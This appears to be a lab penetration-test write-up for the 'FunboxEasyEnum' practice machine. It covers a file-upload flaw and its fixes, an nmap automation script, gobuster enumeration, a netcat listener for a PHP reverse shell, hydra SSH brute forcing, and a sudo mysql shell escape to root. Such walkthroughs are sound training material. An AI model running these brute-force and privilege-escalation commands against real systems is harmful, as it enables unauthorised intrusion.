|  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| FunboxEasyEnumTarget #1 – 192.168.152.132Initial Access – RCE via port 80 and php upload option. PE with abusing sudo command **Vulnerability Explanation:** File upload functionalities are a staple in modern web applications, allowing users to upload images, documents, and other files. However, misconfigured or poorly validated file upload systems can introduce severe vulnerabilities, enabling attackers to execute arbitrary commands on the server.  In this post, we’ll demonstrate how to exploit a file upload vulnerability using a simple PHP web shell script.  **Vulnerability Fix:**   1. **Restrict File Types: Allow only specific file types (e.g., .jpg, .png) based on MIME type and extension validation.** 2. **Rename Uploaded Files**: Avoid saving files with user-provided names. Instead, use random or hashed filenames. 3. **Store Files Outside Web Root**: Prevent direct access to uploaded files by storing them outside the web root. 4. **Validate Input**: Sanitize and validate all user inputs, including file metadata. 5. **Use a Web Application Firewall (WAF)**: Detect and block malicious uploads. 6. **Disable Dangerous PHP Functions**: Functions like system(), exec(), and passthru() should be disabled in production environments.   **Severity: Critical**  **Steps to reproduce the attack:** Ran the initial service scan, found mini.php page on port 80, uploaded a shell.php via: [Online - Reverse Shell Generator](https://www.revshells.com/) PHP ivan sincek, got a shell as [www.data](http://www.data), elevated to goat user with hydra brute force, ran sudo -l and abused the mysql funciton to get root. Service Enumeration **Port Scan Results**   |  |  | | --- | --- | | **IP Address** | **Ports Open** | | 192.168.152.132 | **TCP**: 22,80 |   As part of the enumeration process for the standalone (SA) machines, I developed a custom script to automate and standardize Nmap scans across multiple targets. The script is presented below and is included here for reference.  Please note: this script will be used consistently throughout the assessment for scanning SA machines. To avoid redundancy, I will not reintroduce the script in each machine’s section. Instead, I will refer back to this initial instance whenever applicable.  The python script called oscpSAscan.py:   |  | | --- | | import subprocess  # Get user input  ip = input("Enter target IP address: ")  machine\_name = input("Enter machine name: ")  print(f"\n[+] Running first scan on {ip} (without sudo)...")  nmap\_cmd1 = f"nmap -v -p- -Pn -n --min-rate 5000 {ip} --open | awk '/^[0-9]+/ {{split($1, a, \"/\"); print a[1]}}' | paste -sd, - > open\_ports.txt"  subprocess.run(nmap\_cmd1, shell=True, executable="/bin/bash")  print(f"[+] Running second scan on {ip} (with sudo)...")  nmap\_cmd2 = f"sudo nmap -v -p- -Pn -n --min-rate 5000 {ip} --open | awk '/^[0-9]+/ {{split($1, a, \"/\"); print a[1]}}' | paste -sd, - > open\_ports2.txt"  subprocess.run(nmap\_cmd2, shell=True, executable="/bin/bash")  # Function to read and parse port files  def read\_ports\_from\_file(file\_path):  try:  with open(file\_path, "r") as f:  ports\_line = f.read().strip()  if ports\_line:  return set(ports\_line.split(","))  return set()  except FileNotFoundError:  return set()  print("[\*] Merging ports from open\_ports.txt and open\_ports2.txt...")  ports1 = read\_ports\_from\_file("open\_ports.txt")  ports2 = read\_ports\_from\_file("open\_ports2.txt")  combined\_ports = sorted(ports1.union(ports2), key=lambda x: int(x))  with open("open\_ports3.txt", "w") as f:  f.write(",".join(combined\_ports))  print("[+] Combined ports saved to open\_ports3.txt\n")  # Prepare the final port string  ports\_str = ",".join(combined\_ports)  # Third scan - TCP with service/version detection  print(f"[+] Running third scan on merged TCP ports...")  nmap\_cmd3 = f"sudo nmap -p {ports\_str} -sS -sC -sV -n -Pn {ip} -oN {machine\_name}"  subprocess.run(nmap\_cmd3, shell=True, executable="/bin/bash")  print(f"[✓] Third scan completed. Output saved to: {machine\_name}")  # Fourth scan - UDP top 100 ports  print(f"\n[+] Running UDP top 100 ports scan on {ip}...")  nmap\_cmd4 = f"sudo nmap -Pn -n {ip} -sU --top-ports=100 --reason -oN udpports.txt"  subprocess.run(nmap\_cmd4, shell=True, executable="/bin/bash")  print(f"[✓] UDP scan completed. Output saved to: udpports.txt\n") |   We run oscpSAscan.py to scan the target and found a few ports open. Initial Access – Uploaded shell.php via port 80 mini.php page Gobuster reviealed page mini.php   |  | | --- | | gobuster dir -u http://192.168.152.132/ -w /home/kali/OSCPWordlists/big+common.txt -x php |          |  | | --- | | sudo nc -nlvp 22 |     **Local.txt value:**  └─$ ifconfig && whoami && cat local.txt   Privilege Escalation – elevated to goat user with hydra and SUDO as root on mysql function We used the command sudo -l to reveal the list of commands we can run as root user  Created a file with all the users called users.   |  | | --- | | Nano users  pasted all the users inside |     Ran hydra and found goat:goat as a user on port 22   |  | | --- | | Hydra -L users -P users ssh://192.168.152.132 |   Found goat credentials  Than we ran:   |  | | --- | | sudo -l |     I found we can run /usr/bin/mysql as a root so we abused it via method posted on GTFObins: [mysql | GTFOBins](https://gtfobins.github.io/gtfobins/mysql/#sudo)   |  | | --- | | sudo -u root /usr/bin/mysql -e '\! /bin/sh' |  Post Exploitation **Proof.txt value:**   |  | | --- | | whoami && ifconfig && cat proof.txt | |